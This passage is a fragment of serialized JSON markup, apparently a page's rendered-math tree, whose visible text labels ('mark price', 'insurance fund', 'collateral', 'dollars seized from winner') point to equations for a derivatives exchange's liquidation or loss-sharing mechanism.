"className":2615},[2160],[2617],{"type":26,"tag":217,"props":2618,"children":2620},{"className":2619},[299,300],[2621,2650],{"type":26,"tag":217,"props":2622,"children":2624},{"className":2623},[305],[2625,2645],{"type":26,"tag":217,"props":2626,"children":2628},{"className":2627,"style":2271},[310],[2629],{"type":26,"tag":217,"props":2630,"children":2631},{"style":2275},[2632,2636],{"type":26,"tag":217,"props":2633,"children":2635},{"className":2634,"style":2182},[320],[],{"type":26,"tag":217,"props":2637,"children":2639},{"className":2638},[2187,2188,2189,2190],[2640],{"type":26,"tag":217,"props":2641,"children":2643},{"className":2642},[247,2152,2190],[2644],{"type":32,"value":2290},{"type":26,"tag":217,"props":2646,"children":2648},{"className":2647},[409],[2649],{"type":32,"value":412},{"type":26,"tag":217,"props":2651,"children":2653},{"className":2652},[305],[2654],{"type":26,"tag":217,"props":2655,"children":2657},{"className":2656,"style":2210},[310],[2658],{"type":26,"tag":217,"props":2659,"children":2660},{},[],{"type":26,"tag":217,"props":2662,"children":2664},{"style":2663},"top:-0.3652em;",[2665,2669],{"type":26,"tag":217,"props":2666,"children":2668},{"className":2667,"style":2139},[320],[],{"type":26,"tag":217,"props":2670,"children":2672},{"className":2671},[247],[2673],{"type":26,"tag":217,"props":2674,"children":2676},{"className":2675},[247],[2677,2684],{"type":26,"tag":217,"props":2678,"children":2681},{"className":2679,"style":2680},[247,2152],"margin-right:0.08125em;",[2682],{"type":32,"value":2683},"H",{"type":26,"tag":217,"props":2685,"children":2687},{"className":2686},[2160],[2688],{"type":26,"tag":217,"props":2689,"children":2691},{"className":2690},[299,300],[2692,2723],{"type":26,"tag":217,"props":2693,"children":2695},{"className":2694},[305],[2696,2718],{"type":26,"tag":217,"props":2697,"children":2700},{"className":2698,"style":2699},[310],"height:0.3283em;",[2701],{"type":26,"tag":217,"props":2702,"children":2704},{"style":2703},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[2705,2709],{"type":26,"tag":217,"props":2706,"children":2708},{"className":2707,"style":2182},[320],[],{"type":26,"tag":217,"props":2710,"children":2712},{"className":2711},[2187,2188,2189,2190],[2713],{"type":26,"tag":217,"props":2714,"children":2716},{"className":2715,"style":2153},[247,2152,2190],[2717],{"type":32,"value":178},{"type":26,"tag":217,"props":2719,"children":2721},{"className":2720},[409],[2722],{"type":32,"value":412},{"type":26,"tag":217,"props":2724,"children":2726},{"className":2725},[305],[2727],{"type":26,"tag":217,"props":2728,"children":2730},{"className":2729,"style":2210},[310],[2731],{"type":26,"tag":217,"props":2732,"children":2733},{},[],{"type":26,"tag":217,"props":2735,"children":2737},{"style":2736},"top:2.2624em;",[2738,2742],{"type":26,"tag":217,"props":2739,"children":2741},{"className":2740,"style":2139},[320],[],{"type":26,"tag":217,"props":2743,"children":2745},{"className":2744},[247],[2746],{"type":26,"tag":217,"props":2747,"children":2749},{"className":2748},[247],[2750,2757],{"type":26,"tag":217,"props":2751,"children":2754},{"className":2752,"style":2753},[247,2152],"margin-right:0.02778em;",[2755],{"type":32,"value":2756},"D",{"type":26,"tag":217,"props":2758,"children":2760},{"className":2759},[2160],[2761],{"type":26,"tag":217,"props":2762,"children":2764},{"className":2763},[299,300],[2765,2795],{"type":26,"tag":217,"props":2766,"children":2768},{"className":2767},[305],[2769,2790],{"type":26,"tag":217,"props":2770,"children":2772},{"className":2771,"style":2699},[310],[2773],{"type":26,"tag":217,"props":2774,"children":2776},{"style":2775},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[2777,2781],{"type":26,"tag":217,"props":2778,"children":2780},{"className":2779,"style":2182},[320],[],{"type":26,"tag":217,"props":2782,"children":2784},{"className":2783},[2187,2188,2189,2190],[2785],{"type":26,"tag":217,"props":2786,"children":2788},{"className":2787,"style":2153},[247,2152,2190],[2789],{"type":32,"value":178},{"type":26,"tag":217,"props":2791,"children":2793},{"className":2792},[409],[2794],{"type":32,"value":412},{"type":26,"tag":217,"props":2796,"children":2798},{"className":2797},[305],[2799],{"type":26,"tag":217,"props":2800,"children":2802},{"className":2801,"style":2210},[310],[2803],{"type":26,"tag":217,"props":2804,"children":2805},{},[],{"type":26,"tag":217,"props":2807,"children":2809},{"style":2808},"top:4.8901em;",[2810,2814],{"type":26,"tag":217,"props":2811,"children":2813},{"className":2812,"style":2139},[320],[],{"type":26,"tag":217,"props":2815,"children":2817},{"className":2816},[247],[2818],{"type":26,"tag":217,"props":2819,"children":2821},{"className":2820},[247],[2822,2829],{"type":26,"tag":217,"props":2823,"children":2826},{"className":2824,"style":2825},[247,2152],"margin-right:0.10903em;",[2827],{"type":32,"value":2828},"U",{"type":26,"tag":217,"props":2830,"children":2832},{"className":2831},[2160],[2833],{"type":26,"tag":217,"props":2834,"children":2836},{"className":2835},[299,300],[2837,2867],{"type":26,"tag":217,"props":2838,"children":2840},{"className":2839},[305],[2841,2862],{"type":26,"tag":217,"props":2842,"children":2844},{"className":2843,"style":2699},[310],[2845],{"type":26,"tag":217,"props":2846,"children":2848},{"style":2847},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[2849,2853],{"type":26,"tag":217,"props":2850,"children":2852},{"className":2851,"style":2182},[320],[],{"type":26,"tag":217,"props":2854,"children":2856},{"className":2855},[2187,2188,2189,2190],[2857],{"type":26,"tag":217,"props":2858,"children":2860},{"className":2859,"style":2153},[247,2152,2190],[2861],{"type":32,"value":178},{"type":26,"tag":217,"props":2863,"children":2865},{"className":2864},[409],[2866],{"type":32,"value":412},{"type":26,"tag":217,"props":2868,"children":2870},{"className":2869},[305],[2871],{"type":26,"tag":217,"props":2872,"children":2874},{"className":2873,"style":2210},[310],[2875],{"type":26,"tag":217,"props":2876,"children":2877},{},[],{"type":26,"tag":217,"props":2879,"children":2881},{"style":2880},"top:7.3078em;",[2882,2886],{"type":26,"tag":217,"props":2883,"children":2885},{"className":2884,"style":2139},[320],[],{"type":26,"tag":217,"props":2887,"children":2889},{"className":2888},[247],[2890],{"type":26,"tag":217,"props":2891,"children":2893},{"className":2892},[247],[2894,2901],{"type":26,"tag":217,"props":2895,"children":2898},{"className":2896,"style":2897},[247,2152],"margin-right:0.00773em;",[2899],{"type":32,"value":2900},"R",{"type":26,"tag":217,"props":2902,"children":2904},{"className":2903},[2160],[2905],{"type":26,"tag":217,"props":2906,"children":2908},{"className":2907},[299,300],[2909,2941],{"type":26,"tag":217,"props":2910,"children":2912},{"className":2911},[305],[2913,2936],{"type":26,"tag":217,"props":2914,"children":2917},{"className":2915,"style":2916},[310],"height:0.2806em;",[2918],{"type":26,"tag":217,"props":2919,"children":2921},{"style":2920},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[2922,2926],{"type":26,"tag":217,"props":2923,"children":2925},{"className":2924,"style":2182},[320],[],{"type":26,"tag":217,"props":2927,"children":2929},{"className":2928},[2187,2188,2189,2190],[2930],{"type":26,"tag":217,"props":2931,"children":2933},{"className":2932},[247,2152,2190],[2934],{"type":32,"value":2935},"t",{"type":26,"tag":217,"props":2937,"children":2939},{"className":2938},[409],[2940],{"type":32,"value":412},{"type":26,"tag":217,"props":2942,"children":2944},{"className":2943},[305],[2945],{"type":26,"tag":217,"props":2946,"children":2948},{"className":2947,"style":2210},[310],[2949],{"type":26,"tag":217,"props":2950,"children":2951},{},[],{"type":26,"tag":217,"props":2953,"children":2955},{"className":2954},[409],[2956],{"type":32,"value":412},{"type":26,"tag":217,"props":2958,"children":2960},{"className":2959},[305],[2961],{"type":26,"tag":217,"props":2962,"children":2965},{"className":2963,"style":2964},[310],"height:11.3392em;",[2966],{"type":26,"tag":217,"props":2967,"children":2968},{},[],{"type":26,"tag":217,"props":2970,"children":2972},{"className":2971},[1040],[2973],{"type":26,"tag":217,"props":2974,"children":2976},{"className":2975},[299,300],[2977,4685],{"type":26,"tag":217,"props":2978,"children":2980},{"className":2979},[305],[2981,4680],{"type":26,"tag":217,"props":2982,"children":2984},{"className":2983,"style":2130},[310],[2985,3024,3062,3209,3446,3602,3707,3750,3971,4132,4322,4474],{"type":26,"tag":217,"props":2986,"children":2987},{"style":2134},[2988,2992],{"type":26,"tag":217,"props":2989,"children":2991},{"className":2990,"style":2139},[320],[],{"type":26,"tag":217,"props":2993,"children":2995},{"className":2994},[247],[2996,3000,3004,3010,3014],{"type":26,"tag":217,"props":2997,"children":2999},{"className":2998},[247],[],{"type":26,"tag":217,"props":3001,"children":3003},{"className":3002,"style":259},[258],[],{"type":26,"tag":217,"props":3005,"children":3007},{"className":3006},[264],[3008],{"type":32,"value":3009},":=",{"type":26,"tag":217,"props":3011,"children":3013},{"className":3012,"style":259},[258],[],{"type":26,"tag":217,"props":3015,"children":3017},{"className":3016},[247,32],[3018],{"type":26,"tag":217,"props":3019,"children":3021},{"className":3020},[247],[3022],{"type":32,"value":3023},"mark price",{"type":26,"tag":217,"props":3025,"children":3026},{"style":2217},[3027,3031],{"type":26,"tag":217,"props":3028,"children":3030},{"className":3029,"style":2139},[320],[],{"type":26,"tag":217,"props":3032,"children":3034},{"className":3033},[247],[3035,3039,3043,3048,3052],{"type":26,"tag":217,"props":3036,"children":3038},{"className":3037},[247],[],{"type":26,"tag":217,"props":3040,"children":3042},{"className":3041,"style":259},[258],[],{"type":26,"tag":217,"props":3044,"children":3046},{"className":3045},[264],[3047],{"type":32,"value":3009},{"type":26,"tag":217,"props":3049,"children":3051},{"className":3050,"style":259},[258],[],{"type":26,"tag":217,"props":3053,"children":3055},{"className":3054},[247,32],[3056],{"type":26,"tag":217,"props":3057,"children":3059},{"className":3058},[247],[3060],{"type":32,"value":3061},"insurance fund",{"type":26,"tag":217,"props":3063,"children":3064},{"style":2236},[3065,3069],{"type":26,"tag":217,"props":3066,"children":3068},{"className":3067,"style":2139},[320],[],{"type":26,"tag":217,"props":3070,"children":3072},{"className":3071},[247],[3073,3077,3081,3086,3090,3100,3104,3109,3113],{"type":26,"tag":217,"props":3074,"children":3076},{"className":3075},[247],[],{"type":26,"tag":217,"props":3078,"children":3080},{"className":3079,"style":259},[258],[],{"type":26,"tag":217,"props":3082,"children":3084},{"className":3083},[264],[3085],{"type":32,"value":3009},{"type":26,"tag":217,"props":3087,"children":3089},{"className":3088,"style":259},[258],[],{"type":26,"tag":217,"props":3091,"children":3093},{"className":3092},[247,32],[3094],{"type":26,"tag":217,"props":3095,"children":3097},{"className":3096},[247],[3098],{"type":32,"value":3099},"collateral",{"type":26,"tag":217,"props":3101,"children":3103},{"className":3102,"style":259},[258],[],{"type":26,"tag":217,"props":3105,"children":3107},{"className":3106},[264],[3108],{"type":32,"value":267},{"type":26,"tag":217,"props":3110,"children":3112},{"className":3111,"style":259},[258],[],{"type":26,"tag":217,"props":3114,"children":3116},{"className":3115},[247],[3117,3121,3205],{"type":26,"tag":217,"props":3118,"children":3120},{"className":3119},[288,289],[],{"type":26,"tag":217,"props":3122,"children":3124},{"className":3123},[294],[3125],{"type":26,"tag":217,"props":3126,"children":3128},{"className":3127},[299,300],[3129,3194],{"type":26,"tag":217,"props":3130,"children":3132},{"className":3131},[305],[3133,3189],{"type":26,"tag":217,"props":3134,"children":3137},{"className":3135,"style":3136},[310],"height:1.3714em;",[3138,3158,3169],{"type":26,"tag":217,"props":3139,"children":3140},{"style":315},[3141,3145],{"type":26,"tag":217,"props":3142,"children":3144},{"className":3143,"style":321},[320],[],{"type":26,"tag":217,"props":3146,"children":3148},{"className":3147},[247],[3149],{"type":26,"tag":217,"props":3150,"children":3152},{"className":3151},[247,32],[3153],{"type":26,"tag":217,"props":3154,"children":3156},{"className":3155},[247],[3157],{"type":32,"value":358},{"type":26,"tag":217,"props":3159,"children":3160},{"style":361},[3161,3165],{"type":26,"tag":217,"props":3162,"children":3164},{"className":3163,"style":321},[320],[],{"type":26,"tag":217,"props":3166,"children":3168},{"className":3167,"style":371},[370],[],{"type":26,"tag":217,"props":3170,"children":3171},{"style":375},[3172,3176],{"type":26,"tag":217,"props":3173,"children":3175},{"className":3174,"style":321},[320],[],{"type":26,"tag":217,"props":3177,"children":3179},{"className":3178},[247],[3180],{"type":26,"tag":217,"props":3181,"children":3183},{"className":3182},[247,32],[3184],{"type":26,"tag":217,"props":3185,"children":3187},{"className":3186},[247],[3188],{"type":32,"value":400},{"type":26,"tag":217,"props":3190,"children":3192},{"className":3191},[409],[3193],{"type":32,"value":412},{"type":26,"tag":217,"props":3195,"children":3197},{"className":3196},[305],[3198],{"type":26,"tag":217,"props":3199,"children":3201},{"className":3200,"style":420},[310],[3202],{"type":26,"tag":217,"props":3203,"children":3204},{},[],{"type":26,"tag":217,"props":3206,"children":3208},{"className":3207},[428,289],[],{"type":26,"tag":217,"props":3210,"children":3211},{"style":2309},[3212,3216],{"type":26,"tag":217,"props":3213,"children":3215},{"className":3214,"style":2139},[320],[],{"type":26,"tag":217,"props":3217,"children":3219},{"className":3218},[247],[3220,3224,3228,3233,3237,3295,3299,3304,3308,3313,3370,3374,3380,3384,3441],{"type":26,"tag":217,"props":3221,"children":3223},{"className":3222},[247],[],{"type":26,"tag":217,"props":3225,"children":3227},{"className":3226,"style":259},[258],[],{"type":26,"tag":217,"props":3229,"children":3231},{"className":3230},[264],[3232],{"type":32,"value":267},{"type":26,"tag":217,"props":3234,"children":3236},{"className":3235,"style":259},[258],[],{"type":26,"tag":217,"props":3238,"children":3240},{"className":3239},[247],[3241,3247],{"type":26,"tag":217,"props":3242,"children":3244},{"className":3243},[247,2152],[3245],{"type":32,"value":3246},"s",{"type":26,"tag":217,"props":3248,"children":3250},{"className":3249},[2160],[3251],{"type":26,"tag":217,"props":3252,"children":3254},{"className":3253},[299,300],[3255,3284],{"type":26,"tag":217,"props":3256,"children":3258},{"className":3257},[305],[3259,3279],{"type":26,"tag":217,"props":3260,"children":3262},{"className":3261,"style":2271},[310],[3263],{"type":26,"tag":217,"props":3264,"children":3265},{"style":2275},[3266,3270],{"type":26,"tag":217,"props":3267,"children":3269},{"className":3268,"style":2182},[320],[],{"type":26,"tag":217,"props":3271,"children":3273},{"className":3272},[2187,2188,2189,2190],[3274],{"type":26,"tag":217,"props":3275,"children":3277},{"className":3276},[247,2152,2190],[3278],{"type":32,"value":2290},{"type":26,"tag":217,"props":3280,"children":3282},{"className":3281},[409],[3283],{"type":32,"value":412},{"type":26,"tag":217,"props":3285,"children":3287},{"className":3286},[305],[3288],{"type":26,"tag":217,"props":3289,"children":3291},{"className":3290,"style":2210},[310],[3292],{"type":26,"tag":217,"props":3293,"children":3294},{},[],{"type":26,"tag":217,"props":3296,"children":3298},{"className":3297,"style":336},[258],[],{"type":26,"tag":217,"props":3300,"children":3302},{"className":3301},[341],[3303],{"type":32,"value":344},{"type":26,"tag":217,"props":3305,"children":3307},{"className":3306,"style":336},[258],[],{"type":26,"tag":217,"props":3309,"children":3311},{"className":3310},[288],[3312],{"type":32,"value":1851},{"type":26,"tag":217,"props":3314,"children":3316},{"className":3315},[247],[3317,3322],{"type":26,"tag":217,"props":3318,"children":3320},{"className":3319,"style":2153},[247,2152],[3321],{"type":32,"value":2156},{"type":26,"tag":217,"props":3323,"children":3325},{"className":3324},[2160],[3326],{"type":26,"tag":217,"props":3327,"children":3329},{"className":3328},[299,300],[3330,3359],{"type":26,"tag":217,"props":3331,"children":3333},{"className":3332},[305],[3334,3354],{"type":26,"tag":217,"props":3335,"children":3337},{"className":3336,"style":2173},[310],[3338],{"type":26,"tag":217,"props":3339,"children":3340},{"style":2177},[3341,3345],{"type":26,"tag":217,"props":3342,"children":3344},{"className":3343,"style":2182},[320],[],{"type":26,"tag":217,"props":3346,"children":3348},{"className":3347},[2187,2188,2189,2190],[3349],{"type":26,"tag":217,"props":3350,"children":3352},{"className":3351},[247,2152,2190],[3353],{"type":32,"value":2197},{"type":26,"tag":217,"props":3355,"children":3357},{"className":3356},[409],[3358],{"type":32,"value":412},{"type":26,"tag":217,"props":3360,"children":3362},{"className":3361},[305],[3363],{"type":26,"tag":217,"props":3364,"children":3366},{"className":3365,"style":2210},[310],[3367],{"type":26,"tag":217,"props":3368,"children":3369},{},[],{"type":26,"tag":217,"props":3371,"children":3373},{"className":3372,"style":336},[258],[],{"type":26,"tag":217,"props":3375,"children":3377},{"className":3376},[341],[3378],{"type":32,"value":3379},"−",{"type":26,"tag":217,"props":3381,"children":3383},{"className":3382,"style":336},[258],[],{"type":26,"tag":217,"props":3385,"children":3387},{"className":3386},[247],[3388,3393],{"type":26,"tag":217,"props":3389,"children":3391},{"className":3390},[247,2152],[3392],{"type":32,"value":39},{"type":26,"tag":217,"props":3394,"children":3396},{"className":3395},[2160],[3397],{"type":26,"tag":217,"props":3398,"children":3400},{"className":3399},[299,300],[3401,3430],{"type":26,"tag":217,"props":3402,"children":3404},{"className":3403},[305],[3405,3425],{"type":26,"tag":217,"props":3406,"children":3408},{"className":3407,"style":2271},[310],[3409],{"type":26,"tag":217,"props":3410,"children":3411},{"style":2275},[3412,3416],{"type":26,"tag":217,"props":3413,"children":3415},{"className":3414,"style":2182},[320],[],{"type":26,"tag":217,"props":3417,"children":3419},{"className":3418},[2187,2188,2189,2190],[3420],{"type":26,"tag":217,"props":3421,"children":3423},{"className":3422},[247,2152,2190],[3424],{"type":32,"value":2290},{"type":26,"tag":217,"props":3426,"children":3428},{"className":3427},[409],[3429],{"type":32,"value":412},{"type":26,"tag":217,"props":3431,"children":3433},{"className":3432},[305],[3434],{"type":26,"tag":217,"props":3435,"children":3437},{"className":3436,"style":2210},[310],[3438],{"type":26,"tag":217,"props":3439,"children":3440},{},[],{"type":26,"tag":217,"props":3442,"children":3444},{"className":3443},[428],[3445],{"type":32,"value":1889},{"type":26,"tag":217,"props":3447,"children":3448},{"style":2381},[3449,3453],{"type":26,"tag":217,"props":3450,"children":3452},{"className":3451,"style":2139},[320],[],{"type":26,"tag":217,"props":3454,"children":3456},{"className":3455},[247],[3457,3461,3465,3470,3474,3531,3535,3541,3545],{"type":26,"tag":217,"props":3458,"children":3460},{"className":3459},[247],[],{"type":26,"tag":217,"props":3462,"children":3464},{"className":3463,"style":259},[258],[],{"type":26,"tag":217,"props":3466,"children":3468},{"className":3467},[264],[3469],{"type":32,"value":267},{"type":26,"tag":217,"props":3471,"children":3473},{"className":3472,"style":259},[258],[],{"type":26,"tag":217,"props":3475,"children":3477},{"className":3476},[247],[3478,3483],{"type":26,"tag":217,"props":3479,"children":3481},{"className":3480},[247,2152],[3482],{"type":32,"value":2255},{"type":26,"tag":217,"props":3484,"children":3486},{"className":3485},[2160],[3487],{"type":26,"tag":217,"props":3488,"children":3490},{"className":3489},[299,300],[3491,3520],{"type":26,"tag":217,"props":3492,"children":3494},{"className":3493},[305],[3495,3515],{"type":26,"tag":217,"props":3496,"children":3498},{"className":3497,"style":2271},[310],[3499],{"type":26,"tag":217,"props":3500,"children":3501},{"style":2275},[3502,3506],{"type":26,"tag":217,"props":3503,"children":3505},{"className":3504,"style":2182},[320],[],{"type":26,"tag":217,"props":3507,"children":3509},{"className":3508},[2187,2188,2189,2190],[3510],{"type":26,"tag":217,"props":3511,"children":3513},{"className":3512},[247,2152,2190],[3514],{"type":32,"value":2290},{"type":26,"tag":217,"props":3516,"children":3518},{"className":3517},[409],[3519],{"type":32,"value":412},{"type":26,"tag":217,"props":3521,"children":3523},{"className":3522},[305],[3524],{"type":26,"tag":217,"props":3525,"children":3527},{"className":3526,"style":2210},[310],[3528],{"type":26,"tag":217,"props":3529,"children":3530},{},[],{"type":26,"tag":217,"props":3532,"children":3534},{"className":3533,"style":336},[258],[],{"type":26,"tag":217,"props":3536,"children":3538},{"className":3537},[341],[3539],{"type":32,"value":3540},"+",{"type":26,"tag":217,"props":3542,"children":3544},{"className":3543,"style":336},[258],[],{"type":26,"tag":217,"props":3546,"children":3548},{"className":3547},[247],[3549,3554],{"type":26,"tag":217,"props":3550,"children":3552},{"className":3551,"style":2326},[247,2152],[3553],{"type":32,"value":2329},{"type":26,"tag":217,"props":3555,"children":3557},{"className":3556},[2160],[3558],{"type":26,"tag":217,"props":3559,"children":3561},{"className":3560},[299,300],[3562,3591],{"type":26,"tag":217,"props":3563,"children":3565},{"className":3564},[305],[3566,3586],{"type":26,"tag":217,"props":3567,"children":3569},{"className":3568,"style":2271},[310],[3570],{"type":26,"tag":217,"props":3571,"children":3572},{"style":2348},[3573,3577],{"type":26,"tag":217,"props":3574,"children":3576},{"className":3575,"style":2182},[320],[],{"type":26,"tag":217,"props":3578,"children":3580},{"className":3579},[2187,2188,2189,2190],[3581],{"type":26,"tag":217,"props":3582,"children":3584},{"className":3583},[247,2152,2190],[3585],{"type":32,"value":2290},{"type":26,"tag":217,"props":3587,"children":3589},{"className":3588},[409],[3590],{"type":32,"value":412},{"type":26,"tag":217,"props":3592,"children":3594},{"className":3593},[305],[3595],{"type":26,"tag":217,"props":3596,"children":3598},{"className":3597,"style":2210},[310],[3599],{"type":26,"tag":217,"props":3600,"children":3601},{},[],{"type":26,"tag":217,"props":3603,"children":3604},{"style":2451},[3605,3609],{"type":26,"tag":217,"props":3606,"children":3608},{"className":3607,"style":2139},[320],[],{"type":26,"tag":217,"props":3610,"children":3612},{"className":3611},[247],[3613,3617,3621,3626,3630],{"type":26,"tag":217,"props":3614,"children":3616},{"className":3615},[247],[],{"type":26,"tag":217,"props":3618,"children":3620},{"className":3619,"style":259},[258],[],{"type":26,"tag":217,"props":3622,"children":3624},{"className":3623},[264],[3625],{"type":32,"value":267},{"type":26,"tag":217,"props":3627,"children":3629},{"className":3628,"style":259},[258],[],{"type":26,"tag":217,"props":3631,"children":3633},{"className":3632},[247],[3634,3639],{"type":26,"tag":217,"props":3635,"children":3637},{"className":3636,"style":2326},[247,2152],[3638],{"type":32,"value":2329},{"type":26,"tag":217,"props":3640,"children":3642},{"className":3641},[2160],[3643],{"type":26,"tag":217,"props":3644,"children":3646},{"className":3645},[299,300],[3647,3695],{"type":26,"tag":217,"props":3648,"children":3650},{"className":3649},[305],[3651,3690],{"type":26,"tag":217,"props":3652,"children":3655},{"className":3653,"style":3654},[310],"height:0.8213em;",[3656,3673],{"type":26,"tag":217,"props":3657,"children":3659},{"style":3658},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[3660,3664],{"type":26,"tag":217,"props":3661,"children":3663},{"className":3662,"style":2182},[320],[],{"type":26,"tag":217,"props":3665,"children":3667},{"className":3666},[2187,2188,2189,2190],[3668],{"type":26,"tag":217,"props":3669,"children":3671},{"className":3670},[247,2152,2190],[3672],{"type":32,"value":2290},{"type":26,"tag":217,"props":3674,"children":3676},{"style":3675},"top:-3.113em;margin-right:0.05em;",[3677,3681],{"type":26,"tag":217,"props":3678,"children":3680},{"className":3679,"style":2182},[320],[],{"type":26,"tag":217,"props":3682,"children":3684},{"className":3683},[2187,2188,2189,2190],[3685],{"type":26,"tag":217,"props":3686,"children":3688},{"className":3687},[341,2190],[3689],{"type":32,"value":3540},{"type":26,"tag":217,"props":3691,"children":3693},{"className":3692},[409],[3694],{"type":32,"value":412},{"type":26,"tag":217,"props":3696,"children":3698},{"className":3697},[305],[3699],{"type":26,"tag":217,"props":3700,"children":3703},{"className":3701,"style":3702},[310],"height:0.267em;",[3704],{"type":26,"tag":217,"props":3705,"children":3706},{},[],{"type":26,"tag":217,"props":3708,"children":3709},{"style":2523},[3710,3714],{"type":26,"tag":217,"props":3711,"children":3713},{"className":3712,"style":2139},[320],[],{"type":26,"tag":217,"props":3715,"children":3717},{"className":3716},[247],[3718,3722,3726,3731,3735,3745],{"type":26,"tag":217,"props":3719,"children":3721},{"className":3720},[247],[],{"type":26,"tag":217,"props":3723,"children":3725},{"className":3724,"style":259},[258],[],{"type":26,"tag":217,"props":3727,"children":3729},{"className":3728},[264],[3730],{"type":32,"value":3009},{"type":26,"tag":217,"props":3732,"children":3734},{"className":3733,"style":259},[258],[],{"type":26,"tag":217,"props":3736,"children":3738},{"className":3737},[247,32],[3739],{"type":26,"tag":217,"props":3740,"children":3742},{"className":3741},[247],[3743],{"type":32,"value":3744},"dollars seized from winner ",{"type":26,"tag":217,"props":3746,"children":3748},{"className":3747},[247,2152],[3749],{"type":32,"value":2290},{"type":26,"tag":217,"props":3751,"children":3752},{"style":2593},[3753,3757],{"type":26,"tag":217,"props":3754,"children":3756},{"className":3755,"style":2139},[320],[],{"type":26,"tag":217,"props":3758,"children":3760},{"className":3759},[247],[3761,3765,3769,3774,3778],{"type":26,"tag":217,"props":3762,"children":3764},{"className":3763},[247],[],{"type":26,"tag":217,"props":3766,"children":3768},{"className":3767,"style":259},[258],[],{"type":26,"tag":217,"props":3770,"children":3772},{"className":3771},[264],[3773],{"type":32,"value":267},{"type":26,"tag":217,"props":3775,"children":3777},{"className":3776,"style":259},[258],[],{"type":26,"tag":217,"props":3779,"children":3781},{"className":3780},[247],[3782,3786,3967],{"type":26,"tag":217,"props":3783,"children":3785},{"className":3784},[288,289],[],{"type":26,"tag":217,"props":3787,"children":3789},{"className":3788},[294],[3790],{"type":26,"tag":217,"props":3791,"children":3793},{"className":3792},[299,300],[3794,3955],{"type":26,"tag":217,"props":3795,"children":3797},{"className":3796},[305],[3798,3950],{"type":26,"tag":217,"props":3799,"children":3802},{"className":3800,"style":3801},[310],"height:1.1076em;",[3803,3871,3882],{"type":26,"tag":217,"props":3804,"children":3805},{"style":315},[3806,3810],{"type":26,"tag":217,"props":3807,"children":3809},{"className":3808,"style":321},[320],[],{"type":26,"tag":217,"props":3811,"children":3813},{"className":3812},[247],[3814],{"type":26,"tag":217,"props":3815,"children":3817},{"className":3816},[247],[3818,3823],{"type":26,"tag":217,"props":3819,"children":3821},{"className":3820,"style":2468},[247,2152],[3822],{"type":32,"value":2471},{"type":26,"tag":217,"props":3824,"children":3826},{"className":3825},[2160],[3827],{"type":26,"tag":217,"props":3828,"children":3830},{"className":3829},[299,300],[3831,3860],{"type":26,"tag":217,"props":3832,"children":3834},{"className":3833},[305],[3835,3855],{"type":26,"tag":217,"props":3836,"children":3838},{"className":3837,"style":2271},[310],[3839],{"type":26,"tag":217,"props":3840,"children":3841},{"style":2490},[3842,3846],{"type":26,"tag":217,"props":3843,"children":3845},{"className":3844,"style":2182},[320],[],{"type":26,"tag":217,"props":3847,"children":3849},{"className":3848},[2187,2188,2189,2190],[3850],{"type":26,"tag":217,"props":3851,"children":3853},{"className":3852},[247,2152,2190],[3854],{"type":32,"value":2290},{"type":26,"tag":217,"props":3856,"children":3858},{"className":3857},[409],[3859],{"type":32,"value":412},{"type":26,"tag":217,"props":3861,"children":3863},{"className":3862},[305],[3864],{"type":26,"tag":217,"props":3865,"children":3867},{"className":3866,"style":2210},[310],[3868],{"type":26,"tag":217,"props":3869,"children":3870},{},[],{"type":26,"tag":217,"props":3872,"children":3873},{"style":361},[3874,3878],{"type":26,"tag":217,"props":3875,"children":3877},{"className":3876,"style":321},[320],[],{"type":26,"tag":217,"props":3879,"children":3881},{"className":3880,"style":371},[370],[],{"type":26,"tag":217,"props":3883,"children":3884},{"style":375},[3885,3889],{"type":26,"tag":217,"props":3886,"children":3888},{"className":3887,"style":321},[320],[],{"type":26,"tag":217,"props":3890,"children":3892},{"className":3891},[247],[3893],{"type":26,"tag":217,"props":3894,"children":3896},{"className":3895},[247],[3897,3902],{"type":26,"tag":217,"props":3898,"children":3900},{"className":3899},[247,2152],[3901],{"type":32,"value":2542},{"type":26,"tag":217,"props":3903,"children":3905},{"className":3904},[2160],[3906],{"type":26,"tag":217,"props":3907,"children":3909},{"className":3908},[299,300],[3910,3939],{"type":26,"tag":217,"props":3911,"children":3913},{"className":3912},[305],[3914,3934],{"type":26,"tag":217,"props":3915,"children":3917},{"className":3916,"style":2271},[310],[3918],{"type":26,"tag":217,"props":3919,"children":3920},{"style":2275},[3921,3925],{"type":26,"tag":217,"props":3922,"children":3924},{"className":3923,"style":2182},[320],[],{"type":26,"tag":217,"props":3926,"children":3928},{"className":3927},[2187,2188,2189,2190],[3929],{"type":26,"tag":217,"props":3930,"children":3932},{"className":3931},[247,2152,2190],[3933],{"type":32,"value":2290},{"type":26,"tag":217,"props":3935,"children":3937},{"className":3936},[409],[3938],{"type":32,"value":412},{"type":26,"tag":217,"props":3940,"children":3942},{"className":3941},[305],[3943],{"type":26,"tag":217,"props":3944,"children":3946},{"className":3945,"style":2210},[310],[3947],{"type":26,"tag":217,"props":3948,"children":3949},{},[],{"type":26,"tag":217,"props":3951,"children":3953},{"className":3952},[409],[3954],{"type":32,"value":412},{"type":26,"tag":217,"props":3956,"children":3958},{"className":3957},[305],[3959],{"type":26,"tag":217,"props":3960,"children":3963},{"className":3961,"style":3962},[310],"height:0.836em;",[3964],{"type":26,"tag":217,"props":3965,"children":3966},{},[],{"type":26,"tag":217,"props":3968,"children":3970},{"className":3969},[428,289],[],{"type":26,"tag":217,"props":3972,"children":3973},{"style":2663},[3974,3978],{"type":26,"tag":217,"props":3975,"children":3977},{"className":3976,"style":2139},[320],[],{"type":26,"tag":217,"props":3979,"children":3981},{"className":3980},[247],[3982,3986,3990,3995,3999,4071,4075],{"type":26,"tag":217,"props":3983,"children":3985},{"className":3984},[247],[],{"type":26,"tag":217,"props":3987,"children":3989},{"className":3988,"style":259},[258],[],{"type":26,"tag":217,"props":3991,"children":3993},{"className":3992},[264],[3994],{"type":32,"value":267},{"type":26,"tag":217,"props":3996,"children":3998},{"className":3997,"style":259},[258],[],{"type":26,"tag":217,"props":4000,"children":4003},{"className":4001},[1842,4002],"op-limits",[4004],{"type":26,"tag":217,"props":4005,"children":4007},{"className":4006},[299,300],[4008,4059],{"type":26,"tag":217,"props":4009,"children":4011},{"className":4010},[305],[4012,4054],{"type":26,"tag":217,"props":4013,"children":4016},{"className":4014,"style":4015},[310],"height:1.05em;",[4017,4035],{"type":26,"tag":217,"props":4018,"children":4020},{"style":4019},"top:-1.